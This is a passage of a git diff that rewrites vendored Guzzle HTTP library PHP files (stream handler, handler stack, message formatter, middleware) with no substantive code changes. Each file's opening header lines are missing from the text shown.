behavior. + if (0 === $request->getBody()->getSize()) { + $request = $request->withHeader('Content-Length', '0'); + } + + return $this->createResponse( + $request, + $options, + $this->createStream($request, $options), + $startTime + ); + } catch (\InvalidArgumentException $e) { + throw $e; + } catch (\Exception $e) { + // Determine if the error was a networking error. + $message = $e->getMessage(); + // This list can probably get more comprehensive. + if (strpos($message, 'getaddrinfo') // DNS lookup failed + || strpos($message, 'Connection refused') + || strpos($message, "couldn't connect to host") // error on HHVM + || strpos($message, "connection attempt failed") + ) { + $e = new ConnectException($e->getMessage(), $request, $e); + } + $e = RequestException::wrapException($request, $e); + $this->invokeStats($options, $request, $startTime, null, $e); + + return \GuzzleHttp\Promise\rejection_for($e); + } + } + + private function invokeStats( + array $options, + RequestInterface $request, + $startTime, + ResponseInterface $response = null, + $error = null + ) { + if (isset($options['on_stats'])) { + $stats = new TransferStats( + $request, + $response, + Utils::currentTime() - $startTime, + $error, + [] + ); + call_user_func($options['on_stats'], $stats); + } + } + + private function createResponse( + RequestInterface $request, + array $options, + $stream, + $startTime + ) { + $hdrs = $this->lastHeaders; + $this->lastHeaders = []; + $parts = explode(' ', array_shift($hdrs), 3); + $ver = explode('/', $parts[0])[1]; + $status = $parts[1]; + $reason = isset($parts[2]) ? $parts[2] : null; + $headers = \GuzzleHttp\headers_from_lines($hdrs); + list($stream, $headers) = $this->checkDecode($options, $headers, $stream); + $stream = Psr7\stream_for($stream); + $sink = $stream; + + if (strcasecmp('HEAD', $request->getMethod())) { + $sink = $this->createSink($stream, $options); + } + + $response = new Psr7\Response($status, $headers, $sink, $ver, $reason); + + if (isset($options['on_headers'])) { + try { + $options['on_headers']($response); + } catch (\Exception $e) { + $msg = 'An error was encountered during the on_headers event'; + $ex = new RequestException($msg, $request, $response, $e); + return \GuzzleHttp\Promise\rejection_for($ex); + } + } + + // Do not drain when the request is a HEAD request because they have + // no body. + if ($sink !== $stream) { + $this->drain( + $stream, + $sink, + $response->getHeaderLine('Content-Length') + ); + } + + $this->invokeStats($options, $request, $startTime, $response, null); + + return new FulfilledPromise($response); + } + + private function createSink(StreamInterface $stream, array $options) + { + if (!empty($options['stream'])) { + return $stream; + } + + $sink = isset($options['sink']) + ? $options['sink'] + : fopen('php://temp', 'r+'); + + return is_string($sink) + ? new Psr7\LazyOpenStream($sink, 'w+') + : Psr7\stream_for($sink); + } + + private function checkDecode(array $options, array $headers, $stream) + { + // Automatically decode responses when instructed. + if (!empty($options['decode_content'])) { + $normalizedKeys = \GuzzleHttp\normalize_header_keys($headers); + if (isset($normalizedKeys['content-encoding'])) { + $encoding = $headers[$normalizedKeys['content-encoding']]; + if ($encoding[0] === 'gzip' || $encoding[0] === 'deflate') { + $stream = new Psr7\InflateStream( + Psr7\stream_for($stream) + ); + $headers['x-encoded-content-encoding'] + = $headers[$normalizedKeys['content-encoding']]; + // Remove content-encoding header + unset($headers[$normalizedKeys['content-encoding']]); + // Fix content-length header + if (isset($normalizedKeys['content-length'])) { + $headers['x-encoded-content-length'] + = $headers[$normalizedKeys['content-length']]; + + $length = (int) $stream->getSize(); + if ($length === 0) { + unset($headers[$normalizedKeys['content-length']]); + } else { + $headers[$normalizedKeys['content-length']] = [$length]; + } + } + } + } + } + + return [$stream, $headers]; + } + + /** + * Drains the source stream into the "sink" client option. + * + * @param StreamInterface $source + * @param StreamInterface $sink + * @param string $contentLength Header specifying the amount of + * data to read. + * + * @return StreamInterface + * @throws \RuntimeException when the sink option is invalid. + */ + private function drain( + StreamInterface $source, + StreamInterface $sink, + $contentLength + ) { + // If a content-length header is provided, then stop reading once + // that number of bytes has been read. This can prevent infinitely + // reading from a stream when dealing with servers that do not honor + // Connection: Close headers. + Psr7\copy_to_stream( + $source, + $sink, + (strlen($contentLength) > 0 && (int) $contentLength > 0) ? (int) $contentLength : -1 + ); + + $sink->seek(0); + $source->close(); + + return $sink; + } + + /** + * Create a resource and check to ensure it was created successfully + * + * @param callable $callback Callable that returns stream resource + * + * @return resource + * @throws \RuntimeException on error + */ + private function createResource(callable $callback) + { + $errors = null; + set_error_handler(function ($_, $msg, $file, $line) use (&$errors) { + $errors[] = [ + 'message' => $msg, + 'file' => $file, + 'line' => $line + ]; + return true; + }); + + $resource = $callback(); + restore_error_handler(); + + if (!$resource) { + $message = 'Error creating resource: '; + foreach ($errors as $err) { + foreach ($err as $key => $value) { + $message .= "[$key] $value" . PHP_EOL; + } + } + throw new \RuntimeException(trim($message)); + } + + return $resource; + } + + private function createStream(RequestInterface $request, array $options) + { + static $methods; + if (!$methods) { + $methods = array_flip(get_class_methods(__CLASS__)); + } + + // HTTP/1.1 streams using the PHP stream wrapper require a + // Connection: close header + if ($request->getProtocolVersion() == '1.1' + && !$request->hasHeader('Connection') + ) { + $request = $request->withHeader('Connection', 'close'); + } + + // Ensure SSL is verified by default + if (!isset($options['verify'])) { + $options['verify'] = true; + } + + $params = []; + $context = $this->getDefaultContext($request); + + if (isset($options['on_headers']) && !is_callable($options['on_headers'])) { + throw new \InvalidArgumentException('on_headers must be callable'); + } + + if (!empty($options)) { + foreach ($options as $key => $value) { + $method = "add_{$key}"; + if (isset($methods[$method])) { + $this->{$method}($request, $context, $value, $params); + } + } + } + + if (isset($options['stream_context'])) { + if (!is_array($options['stream_context'])) { + throw new \InvalidArgumentException('stream_context must be an array'); + } + $context = array_replace_recursive( + $context, + $options['stream_context'] + ); + } + + // Microsoft NTLM authentication only supported with curl handler + if (isset($options['auth']) + && is_array($options['auth']) + && isset($options['auth'][2]) + && 'ntlm' == $options['auth'][2] + ) { + throw new \InvalidArgumentException('Microsoft NTLM authentication only supported with curl handler'); + } + + $uri = $this->resolveHost($request, $options); + + $context = $this->createResource( + function () use ($context, $params) { + return stream_context_create($context, $params); + } + ); + + return $this->createResource( + function () use ($uri, &$http_response_header, $context, $options) { + $resource = fopen((string) $uri, 'r', null, $context); + $this->lastHeaders = $http_response_header; + + if (isset($options['read_timeout'])) { + $readTimeout = $options['read_timeout']; + $sec = (int) $readTimeout; + $usec = ($readTimeout - $sec) * 100000; + stream_set_timeout($resource, $sec, $usec); + } + + return $resource; + } + ); + } + + private function resolveHost(RequestInterface $request, array $options) + { + $uri = $request->getUri(); + + if (isset($options['force_ip_resolve']) && !filter_var($uri->getHost(), FILTER_VALIDATE_IP)) { + if ('v4' === $options['force_ip_resolve']) { + $records = dns_get_record($uri->getHost(), DNS_A); + if (!isset($records[0]['ip'])) { + throw new ConnectException( + sprintf( + "Could not resolve IPv4 address for host '%s'", + $uri->getHost() + ), + $request + ); + } + $uri = $uri->withHost($records[0]['ip']); + } elseif ('v6' === $options['force_ip_resolve']) { + $records = dns_get_record($uri->getHost(), DNS_AAAA); + if (!isset($records[0]['ipv6'])) { + throw new ConnectException( + sprintf( + "Could not resolve IPv6 address for host '%s'", + $uri->getHost() + ), + $request + ); + } + $uri = $uri->withHost('[' . $records[0]['ipv6'] . ']'); + } + } + + return $uri; + } + + private function getDefaultContext(RequestInterface $request) + { + $headers = ''; + foreach ($request->getHeaders() as $name => $value) { + foreach ($value as $val) { + $headers .= "$name: $val\r\n"; + } + } + + $context = [ + 'http' => [ + 'method' => $request->getMethod(), + 'header' => $headers, + 'protocol_version' => $request->getProtocolVersion(), + 'ignore_errors' => true, + 'follow_location' => 0, + ], + ]; + + $body = (string) $request->getBody(); + + if (!empty($body)) { + $context['http']['content'] = $body; + // Prevent the HTTP handler from adding a Content-Type header. + if (!$request->hasHeader('Content-Type')) { + $context['http']['header'] .= "Content-Type:\r\n"; + } + } + + $context['http']['header'] = rtrim($context['http']['header']); + + return $context; + } + + private function add_proxy(RequestInterface $request, &$options, $value, &$params) + { + if (!is_array($value)) { + $options['http']['proxy'] = $value; + } else { + $scheme = $request->getUri()->getScheme(); + if (isset($value[$scheme])) { + if (!isset($value['no']) + || !\GuzzleHttp\is_host_in_noproxy( + $request->getUri()->getHost(), + $value['no'] + ) + ) { + $options['http']['proxy'] = $value[$scheme]; + } + } + } + } + + private function add_timeout(RequestInterface $request, &$options, $value, &$params) + { + if ($value > 0) { + $options['http']['timeout'] = $value; + } + } + + private function add_verify(RequestInterface $request, &$options, $value, &$params) + { + if ($value === true) { + // PHP 5.6 or greater will find the system cert by default. When + // < 5.6, use the Guzzle bundled cacert. + if (PHP_VERSION_ID < 50600) { + $options['ssl']['cafile'] = \GuzzleHttp\default_ca_bundle(); + } + } elseif (is_string($value)) { + $options['ssl']['cafile'] = $value; + if (!file_exists($value)) { + throw new \RuntimeException("SSL CA bundle not found: $value"); + } + } elseif ($value === false) { + $options['ssl']['verify_peer'] = false; + $options['ssl']['verify_peer_name'] = false; + return; + } else { + throw new \InvalidArgumentException('Invalid verify request option'); + } + + $options['ssl']['verify_peer'] = true; + $options['ssl']['verify_peer_name'] = true; + $options['ssl']['allow_self_signed'] = false; + } + + private function add_cert(RequestInterface $request, &$options, $value, &$params) + { + if (is_array($value)) { + $options['ssl']['passphrase'] = $value[1]; + $value = $value[0]; + } + + if (!file_exists($value)) { + throw new \RuntimeException("SSL certificate not found: {$value}"); + } + + $options['ssl']['local_cert'] = $value; + } + + private function add_progress(RequestInterface $request, &$options, $value, &$params) + { + $this->addNotification( + $params, + function ($code, $a, $b, $c, $transferred, $total) use ($value) { + if ($code == STREAM_NOTIFY_PROGRESS) { + $value($total, $transferred, null, null); + } + } + ); + } + + private function add_debug(RequestInterface $request, &$options, $value, &$params) + { + if ($value === false) { + return; + } + + static $map = [ + STREAM_NOTIFY_CONNECT => 'CONNECT', + STREAM_NOTIFY_AUTH_REQUIRED => 'AUTH_REQUIRED', + STREAM_NOTIFY_AUTH_RESULT => 'AUTH_RESULT', + STREAM_NOTIFY_MIME_TYPE_IS => 'MIME_TYPE_IS', + STREAM_NOTIFY_FILE_SIZE_IS => 'FILE_SIZE_IS', + STREAM_NOTIFY_REDIRECTED => 'REDIRECTED', + STREAM_NOTIFY_PROGRESS => 'PROGRESS', + STREAM_NOTIFY_FAILURE => 'FAILURE', + STREAM_NOTIFY_COMPLETED => 'COMPLETED', + STREAM_NOTIFY_RESOLVE => 'RESOLVE', + ]; + static $args = ['severity', 'message', 'message_code', + 'bytes_transferred', 'bytes_max']; + + $value = \GuzzleHttp\debug_resource($value); + $ident = $request->getMethod() . ' ' . $request->getUri()->withFragment(''); + $this->addNotification( + $params, + function () use ($ident, $value, $map, $args) { + $passed = func_get_args(); + $code = array_shift($passed); + fprintf($value, '<%s> [%s] ', $ident, $map[$code]); + foreach (array_filter($passed) as $i => $v) { + fwrite($value, $args[$i] . ': "' . $v . '" '); + } + fwrite($value, "\n"); + } + ); + } + + private function addNotification(array &$params, callable $notify) + { + // Wrap the existing function if needed. + if (!isset($params['notification'])) { + $params['notification'] = $notify; + } else { + $params['notification'] = $this->callArray([ + $params['notification'], + $notify + ]); + } + } + + private function callArray(array $functions) + { + return function () use ($functions) { + $args = func_get_args(); + foreach ($functions as $fn) { + call_user_func_array($fn, $args); + } + }; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/HandlerStack.php b/vendor/guzzlehttp/guzzle/src/HandlerStack.php index a1a492bd99..6a49cc0690 100644 --- a/vendor/guzzlehttp/guzzle/src/HandlerStack.php +++ b/vendor/guzzlehttp/guzzle/src/HandlerStack.php @@ -1,277 +1,277 @@ -push(Middleware::httpErrors(), 'http_errors'); - $stack->push(Middleware::redirect(), 'allow_redirects'); - $stack->push(Middleware::cookies(), 'cookies'); - $stack->push(Middleware::prepareBody(), 'prepare_body'); - - return $stack; - } - - /** - * @param callable $handler Underlying HTTP handler. - */ - public function __construct(callable $handler = null) - { - $this->handler = $handler; - } - - /** - * Invokes the handler stack as a composed handler - * - * @param RequestInterface $request - * @param array $options - * - * @return ResponseInterface|PromiseInterface - */ - public function __invoke(RequestInterface $request, array $options) - { - $handler = $this->resolve(); - - return $handler($request, $options); - } - - /** - * Dumps a string representation of the stack. - * - * @return string - */ - public function __toString() - { - $depth = 0; - $stack = []; - if ($this->handler) { - $stack[] = "0) Handler: " . $this->debugCallable($this->handler); - } - - $result = ''; - foreach (array_reverse($this->stack) as $tuple) { - $depth++; - $str = "{$depth}) Name: '{$tuple[1]}', "; - $str .= "Function: " . $this->debugCallable($tuple[0]); - $result = "> {$str}\n{$result}"; - $stack[] = $str; - } - - foreach (array_keys($stack) as $k) { - $result .= "< {$stack[$k]}\n"; - } - - return $result; - } - - /** - * Set the HTTP handler that actually returns a promise. - * - * @param callable $handler Accepts a request and array of options and - * returns a Promise. - */ - public function setHandler(callable $handler) - { - $this->handler = $handler; - $this->cached = null; - } - - /** - * Returns true if the builder has a handler. - * - * @return bool - */ - public function hasHandler() - { - return (bool) $this->handler; - } - - /** - * Unshift a middleware to the bottom of the stack. - * - * @param callable $middleware Middleware function - * @param string $name Name to register for this middleware. - */ - public function unshift(callable $middleware, $name = null) - { - array_unshift($this->stack, [$middleware, $name]); - $this->cached = null; - } - - /** - * Push a middleware to the top of the stack. - * - * @param callable $middleware Middleware function - * @param string $name Name to register for this middleware. - */ - public function push(callable $middleware, $name = '') - { - $this->stack[] = [$middleware, $name]; - $this->cached = null; - } - - /** - * Add a middleware before another middleware by name. - * - * @param string $findName Middleware to find - * @param callable $middleware Middleware function - * @param string $withName Name to register for this middleware. - */ - public function before($findName, callable $middleware, $withName = '') - { - $this->splice($findName, $withName, $middleware, true); - } - - /** - * Add a middleware after another middleware by name. - * - * @param string $findName Middleware to find - * @param callable $middleware Middleware function - * @param string $withName Name to register for this middleware. - */ - public function after($findName, callable $middleware, $withName = '') - { - $this->splice($findName, $withName, $middleware, false); - } - - /** - * Remove a middleware by instance or name from the stack. - * - * @param callable|string $remove Middleware to remove by instance or name. - */ - public function remove($remove) - { - $this->cached = null; - $idx = is_callable($remove) ? 0 : 1; - $this->stack = array_values(array_filter( - $this->stack, - function ($tuple) use ($idx, $remove) { - return $tuple[$idx] !== $remove; - } - )); - } - - /** - * Compose the middleware and handler into a single callable function. - * - * @return callable - */ - public function resolve() - { - if (!$this->cached) { - if (!($prev = $this->handler)) { - throw new \LogicException('No handler has been specified'); - } - - foreach (array_reverse($this->stack) as $fn) { - $prev = $fn[0]($prev); - } - - $this->cached = $prev; - } - - return $this->cached; - } - - /** - * @param string $name - * @return int - */ - private function findByName($name) - { - foreach ($this->stack as $k => $v) { - if ($v[1] === $name) { - return $k; - } - } - - throw new \InvalidArgumentException("Middleware not found: $name"); - } - - /** - * Splices a function into the middleware list at a specific position. - * - * @param string $findName - * @param string $withName - * @param callable $middleware - * @param bool $before - */ - private function splice($findName, $withName, callable $middleware, $before) - { - $this->cached = null; - $idx = $this->findByName($findName); - $tuple = [$middleware, $withName]; - - if ($before) { - if ($idx === 0) { - array_unshift($this->stack, $tuple); - } else { - $replacement = [$tuple, $this->stack[$idx]]; - array_splice($this->stack, $idx, 1, $replacement); - } - } elseif ($idx === count($this->stack) - 1) { - $this->stack[] = $tuple; - } else { - $replacement = [$this->stack[$idx], $tuple]; - array_splice($this->stack, $idx, 1, $replacement); - } - } - - /** - * Provides a debug string for a given callable. - * - * @param array|callable $fn Function to write as a string. - * - * @return string - */ - private function debugCallable($fn) - { - if (is_string($fn)) { - return "callable({$fn})"; - } - - if (is_array($fn)) { - return is_string($fn[0]) - ? "callable({$fn[0]}::{$fn[1]})" - : "callable(['" . get_class($fn[0]) . "', '{$fn[1]}'])"; - } - - return 'callable(' . spl_object_hash($fn) . ')'; - } -} +push(Middleware::httpErrors(), 'http_errors'); + $stack->push(Middleware::redirect(), 'allow_redirects'); + $stack->push(Middleware::cookies(), 'cookies'); + $stack->push(Middleware::prepareBody(), 'prepare_body'); + + return $stack; + } + + /** + * @param callable $handler Underlying HTTP handler. + */ + public function __construct(callable $handler = null) + { + $this->handler = $handler; + } + + /** + * Invokes the handler stack as a composed handler + * + * @param RequestInterface $request + * @param array $options + * + * @return ResponseInterface|PromiseInterface + */ + public function __invoke(RequestInterface $request, array $options) + { + $handler = $this->resolve(); + + return $handler($request, $options); + } + + /** + * Dumps a string representation of the stack. + * + * @return string + */ + public function __toString() + { + $depth = 0; + $stack = []; + if ($this->handler) { + $stack[] = "0) Handler: " . $this->debugCallable($this->handler); + } + + $result = ''; + foreach (array_reverse($this->stack) as $tuple) { + $depth++; + $str = "{$depth}) Name: '{$tuple[1]}', "; + $str .= "Function: " . $this->debugCallable($tuple[0]); + $result = "> {$str}\n{$result}"; + $stack[] = $str; + } + + foreach (array_keys($stack) as $k) { + $result .= "< {$stack[$k]}\n"; + } + + return $result; + } + + /** + * Set the HTTP handler that actually returns a promise. + * + * @param callable $handler Accepts a request and array of options and + * returns a Promise. + */ + public function setHandler(callable $handler) + { + $this->handler = $handler; + $this->cached = null; + } + + /** + * Returns true if the builder has a handler. + * + * @return bool + */ + public function hasHandler() + { + return (bool) $this->handler; + } + + /** + * Unshift a middleware to the bottom of the stack. + * + * @param callable $middleware Middleware function + * @param string $name Name to register for this middleware. + */ + public function unshift(callable $middleware, $name = null) + { + array_unshift($this->stack, [$middleware, $name]); + $this->cached = null; + } + + /** + * Push a middleware to the top of the stack. + * + * @param callable $middleware Middleware function + * @param string $name Name to register for this middleware. + */ + public function push(callable $middleware, $name = '') + { + $this->stack[] = [$middleware, $name]; + $this->cached = null; + } + + /** + * Add a middleware before another middleware by name. + * + * @param string $findName Middleware to find + * @param callable $middleware Middleware function + * @param string $withName Name to register for this middleware. + */ + public function before($findName, callable $middleware, $withName = '') + { + $this->splice($findName, $withName, $middleware, true); + } + + /** + * Add a middleware after another middleware by name. + * + * @param string $findName Middleware to find + * @param callable $middleware Middleware function + * @param string $withName Name to register for this middleware. + */ + public function after($findName, callable $middleware, $withName = '') + { + $this->splice($findName, $withName, $middleware, false); + } + + /** + * Remove a middleware by instance or name from the stack. + * + * @param callable|string $remove Middleware to remove by instance or name. + */ + public function remove($remove) + { + $this->cached = null; + $idx = is_callable($remove) ? 0 : 1; + $this->stack = array_values(array_filter( + $this->stack, + function ($tuple) use ($idx, $remove) { + return $tuple[$idx] !== $remove; + } + )); + } + + /** + * Compose the middleware and handler into a single callable function. + * + * @return callable + */ + public function resolve() + { + if (!$this->cached) { + if (!($prev = $this->handler)) { + throw new \LogicException('No handler has been specified'); + } + + foreach (array_reverse($this->stack) as $fn) { + $prev = $fn[0]($prev); + } + + $this->cached = $prev; + } + + return $this->cached; + } + + /** + * @param string $name + * @return int + */ + private function findByName($name) + { + foreach ($this->stack as $k => $v) { + if ($v[1] === $name) { + return $k; + } + } + + throw new \InvalidArgumentException("Middleware not found: $name"); + } + + /** + * Splices a function into the middleware list at a specific position. + * + * @param string $findName + * @param string $withName + * @param callable $middleware + * @param bool $before + */ + private function splice($findName, $withName, callable $middleware, $before) + { + $this->cached = null; + $idx = $this->findByName($findName); + $tuple = [$middleware, $withName]; + + if ($before) { + if ($idx === 0) { + array_unshift($this->stack, $tuple); + } else { + $replacement = [$tuple, $this->stack[$idx]]; + array_splice($this->stack, $idx, 1, $replacement); + } + } elseif ($idx === count($this->stack) - 1) { + $this->stack[] = $tuple; + } else { + $replacement = [$this->stack[$idx], $tuple]; + array_splice($this->stack, $idx, 1, $replacement); + } + } + + /** + * Provides a debug string for a given callable. + * + * @param array|callable $fn Function to write as a string. + * + * @return string + */ + private function debugCallable($fn) + { + if (is_string($fn)) { + return "callable({$fn})"; + } + + if (is_array($fn)) { + return is_string($fn[0]) + ? "callable({$fn[0]}::{$fn[1]})" + : "callable(['" . get_class($fn[0]) . "', '{$fn[1]}'])"; + } + + return 'callable(' . spl_object_hash($fn) . ')'; + } +} diff --git a/vendor/guzzlehttp/guzzle/src/MessageFormatter.php b/vendor/guzzlehttp/guzzle/src/MessageFormatter.php index 03879bb084..dc36bb524d 100644 --- a/vendor/guzzlehttp/guzzle/src/MessageFormatter.php +++ b/vendor/guzzlehttp/guzzle/src/MessageFormatter.php @@ -1,185 +1,185 @@ ->>>>>>>\n{request}\n<<<<<<<<\n{response}\n--------\n{error}"; - const SHORT = '[{ts}] "{method} {target} HTTP/{version}" {code}'; - - /** @var string Template used to format log messages */ - private $template; - - /** - * @param string $template Log message template - */ - public function __construct($template = self::CLF) - { - $this->template = $template ?: self::CLF; - } - - /** - * Returns a formatted message string. - * - * @param RequestInterface $request Request that was sent - * @param ResponseInterface $response Response that was received - * @param \Exception $error Exception that was received - * - * @return string - */ - public function format( - RequestInterface $request, - ResponseInterface $response = null, - \Exception $error = null - ) { - $cache = []; - - return preg_replace_callback( - '/{\s*([A-Za-z_\-\.0-9]+)\s*}/', - function (array $matches) use ($request, $response, $error, &$cache) { - if (isset($cache[$matches[1]])) { - return $cache[$matches[1]]; - } - - $result = ''; - switch ($matches[1]) { - case 'request': - $result = Psr7\str($request); - break; - case 'response': - $result = $response ? Psr7\str($response) : ''; - break; - case 'req_headers': - $result = trim($request->getMethod() - . ' ' . $request->getRequestTarget()) - . ' HTTP/' . $request->getProtocolVersion() . "\r\n" - . $this->headers($request); - break; - case 'res_headers': - $result = $response ? - sprintf( - 'HTTP/%s %d %s', - $response->getProtocolVersion(), - $response->getStatusCode(), - $response->getReasonPhrase() - ) . "\r\n" . $this->headers($response) - : 'NULL'; - break; - case 'req_body': - $result = $request->getBody(); - break; - case 'res_body': - $result = $response ? $response->getBody() : 'NULL'; - break; - case 'ts': - case 'date_iso_8601': - $result = gmdate('c'); - break; - case 'date_common_log': - $result = date('d/M/Y:H:i:s O'); - break; - case 'method': - $result = $request->getMethod(); - break; - case 'version': - $result = $request->getProtocolVersion(); - break; - case 'uri': - case 'url': - $result = $request->getUri(); - break; - case 'target': - $result = $request->getRequestTarget(); - break; - case 'req_version': - $result = $request->getProtocolVersion(); - break; - case 'res_version': - $result = $response - ? $response->getProtocolVersion() - : 'NULL'; - break; - case 'host': - $result = $request->getHeaderLine('Host'); - break; - case 'hostname': - $result = gethostname(); - break; - case 'code': - $result = $response ? $response->getStatusCode() : 'NULL'; - break; - case 'phrase': - $result = $response ? $response->getReasonPhrase() : 'NULL'; - break; - case 'error': - $result = $error ? $error->getMessage() : 'NULL'; - break; - default: - // handle prefixed dynamic headers - if (strpos($matches[1], 'req_header_') === 0) { - $result = $request->getHeaderLine(substr($matches[1], 11)); - } elseif (strpos($matches[1], 'res_header_') === 0) { - $result = $response - ? $response->getHeaderLine(substr($matches[1], 11)) - : 'NULL'; - } - } - - $cache[$matches[1]] = $result; - return $result; - }, - $this->template - ); - } - - /** - * Get headers from message as string - * - * @return string - */ - private function headers(MessageInterface $message) - { - $result = ''; - foreach ($message->getHeaders() as $name => $values) { - $result .= $name . ': ' . implode(', ', $values) . "\r\n"; - } - - return trim($result); - } -} +>>>>>>>\n{request}\n<<<<<<<<\n{response}\n--------\n{error}"; + const SHORT = '[{ts}] "{method} {target} HTTP/{version}" {code}'; + + /** @var string Template used to format log messages */ + private $template; + + /** + * @param string $template Log message template + */ + public function __construct($template = self::CLF) + { + $this->template = $template ?: self::CLF; + } + + /** + * Returns a formatted message string. + * + * @param RequestInterface $request Request that was sent + * @param ResponseInterface $response Response that was received + * @param \Exception $error Exception that was received + * + * @return string + */ + public function format( + RequestInterface $request, + ResponseInterface $response = null, + \Exception $error = null + ) { + $cache = []; + + return preg_replace_callback( + '/{\s*([A-Za-z_\-\.0-9]+)\s*}/', + function (array $matches) use ($request, $response, $error, &$cache) { + if (isset($cache[$matches[1]])) { + return $cache[$matches[1]]; + } + + $result = ''; + switch ($matches[1]) { + case 'request': + $result = Psr7\str($request); + break; + case 'response': + $result = $response ? Psr7\str($response) : ''; + break; + case 'req_headers': + $result = trim($request->getMethod() + . ' ' . $request->getRequestTarget()) + . ' HTTP/' . $request->getProtocolVersion() . "\r\n" + . $this->headers($request); + break; + case 'res_headers': + $result = $response ? + sprintf( + 'HTTP/%s %d %s', + $response->getProtocolVersion(), + $response->getStatusCode(), + $response->getReasonPhrase() + ) . "\r\n" . $this->headers($response) + : 'NULL'; + break; + case 'req_body': + $result = $request->getBody(); + break; + case 'res_body': + $result = $response ? $response->getBody() : 'NULL'; + break; + case 'ts': + case 'date_iso_8601': + $result = gmdate('c'); + break; + case 'date_common_log': + $result = date('d/M/Y:H:i:s O'); + break; + case 'method': + $result = $request->getMethod(); + break; + case 'version': + $result = $request->getProtocolVersion(); + break; + case 'uri': + case 'url': + $result = $request->getUri(); + break; + case 'target': + $result = $request->getRequestTarget(); + break; + case 'req_version': + $result = $request->getProtocolVersion(); + break; + case 'res_version': + $result = $response + ? $response->getProtocolVersion() + : 'NULL'; + break; + case 'host': + $result = $request->getHeaderLine('Host'); + break; + case 'hostname': + $result = gethostname(); + break; + case 'code': + $result = $response ? $response->getStatusCode() : 'NULL'; + break; + case 'phrase': + $result = $response ? $response->getReasonPhrase() : 'NULL'; + break; + case 'error': + $result = $error ? $error->getMessage() : 'NULL'; + break; + default: + // handle prefixed dynamic headers + if (strpos($matches[1], 'req_header_') === 0) { + $result = $request->getHeaderLine(substr($matches[1], 11)); + } elseif (strpos($matches[1], 'res_header_') === 0) { + $result = $response + ? $response->getHeaderLine(substr($matches[1], 11)) + : 'NULL'; + } + } + + $cache[$matches[1]] = $result; + return $result; + }, + $this->template + ); + } + + /** + * Get headers from message as string + * + * @return string + */ + private function headers(MessageInterface $message) + { + $result = ''; + foreach ($message->getHeaders() as $name => $values) { + $result .= $name . ': ' . implode(', ', $values) . "\r\n"; + } + + return trim($result); + } +} diff --git a/vendor/guzzlehttp/guzzle/src/Middleware.php b/vendor/guzzlehttp/guzzle/src/Middleware.php index 98f7f48bae..bffc1974bb 100644 --- a/vendor/guzzlehttp/guzzle/src/Middleware.php +++ b/vendor/guzzlehttp/guzzle/src/Middleware.php @@ -1,254 +1,254 @@ -withCookieHeader($request); - return $handler($request, $options) - ->then( - function ($response) use ($cookieJar, $request) { - $cookieJar->extractCookies($request, $response); - return $response; - } - ); - }; - }; - } - - /** - * Middleware that throws exceptions for 4xx or 5xx responses when the - * "http_error" request option is set to true. - * - * @return callable Returns a function that accepts the next handler. - */ - public static function httpErrors() - { - return function (callable $handler) { - return function ($request, array $options) use ($handler) { - if (empty($options['http_errors'])) { - return $handler($request, $options); - } - return $handler($request, $options)->then( - function (ResponseInterface $response) use ($request) { - $code = $response->getStatusCode(); - if ($code < 400) { - return $response; - } - throw RequestException::create($request, $response); - } - ); - }; - }; - } - - /** - * Middleware that pushes history data to an ArrayAccess container. - * - * @param array|\ArrayAccess $container Container to hold the history (by reference). - * - * @return callable Returns a function that accepts the next handler. - * @throws \InvalidArgumentException if container is not an array or ArrayAccess. - */ - public static function history(&$container) - { - if (!is_array($container) && !$container instanceof \ArrayAccess) { - throw new \InvalidArgumentException('history container must be an array or object implementing ArrayAccess'); - } - - return function (callable $handler) use (&$container) { - return function ($request, array $options) use ($handler, &$container) { - return $handler($request, $options)->then( - function ($value) use ($request, &$container, $options) { - $container[] = [ - 'request' => $request, - 'response' => $value, - 'error' => null, - 'options' => $options - ]; - return $value; - }, - function ($reason) use ($request, &$container, $options) { - $container[] = [ - 'request' => $request, - 'response' => null, - 'error' => $reason, - 'options' => $options - ]; - return \GuzzleHttp\Promise\rejection_for($reason); - } - ); - }; - }; - } - - /** - * Middleware that invokes a callback before and after sending a request. - * - * The provided listener cannot modify or alter the response. It simply - * "taps" into the chain to be notified before returning the promise. The - * before listener accepts a request and options array, and the after - * listener accepts a request, options array, and response promise. - * - * @param callable $before Function to invoke before forwarding the request. - * @param callable $after Function invoked after forwarding. - * - * @return callable Returns a function that accepts the next handler. - */ - public static function tap(callable $before = null, callable $after = null) - { - return function (callable $handler) use ($before, $after) { - return function ($request, array $options) use ($handler, $before, $after) { - if ($before) { - $before($request, $options); - } - $response = $handler($request, $options); - if ($after) { - $after($request, $options, $response); - } - return $response; - }; - }; - } - - /** - * Middleware that handles request redirects. - * - * @return callable Returns a function that accepts the next handler. - */ - public static function redirect() - { - return function (callable $handler) { - return new RedirectMiddleware($handler); - }; - } - - /** - * Middleware that retries requests based on the boolean result of - * invoking the provided "decider" function. - * - * If no delay function is provided, a simple implementation of exponential - * backoff will be utilized. - * - * @param callable $decider Function that accepts the number of retries, - * a request, [response], and [exception] and - * returns true if the request is to be retried. - * @param callable $delay Function that accepts the number of retries and - * returns the number of milliseconds to delay. - * - * @return callable Returns a function that accepts the next handler. - */ - public static function retry(callable $decider, callable $delay = null) - { - return function (callable $handler) use ($decider, $delay) { - return new RetryMiddleware($decider, $handler, $delay); - }; - } - - /** - * Middleware that logs requests, responses, and errors using a message - * formatter. - * - * @param LoggerInterface $logger Logs messages. - * @param MessageFormatter $formatter Formatter used to create message strings. - * @param string $logLevel Level at which to log requests. - * - * @return callable Returns a function that accepts the next handler. - */ - public static function log(LoggerInterface $logger, MessageFormatter $formatter, $logLevel = 'info' /* \Psr\Log\LogLevel::INFO */) - { - return function (callable $handler) use ($logger, $formatter, $logLevel) { - return function ($request, array $options) use ($handler, $logger, $formatter, $logLevel) { - return $handler($request, $options)->then( - function ($response) use ($logger, $request, $formatter, $logLevel) { - $message = $formatter->format($request, $response); - $logger->log($logLevel, $message); - return $response; - }, - function ($reason) use ($logger, $request, $formatter) { - $response = $reason instanceof RequestException - ? $reason->getResponse() - : null; - $message = $formatter->format($request, $response, $reason); - $logger->notice($message); - return \GuzzleHttp\Promise\rejection_for($reason); - } - ); - }; - }; - } - - /** - * This middleware adds a default content-type if possible, a default - * content-length or transfer-encoding header, and the expect header. - * - * @return callable - */ - public static function prepareBody() - { - return function (callable $handler) { - return new PrepareBodyMiddleware($handler); - }; - } - - /** - * Middleware that applies a map function to the request before passing to - * the next handler. - * - * @param callable $fn Function that accepts a RequestInterface and returns - * a RequestInterface. - * @return callable - */ - public static function mapRequest(callable $fn) - { - return function (callable $handler) use ($fn) { - return function ($request, array 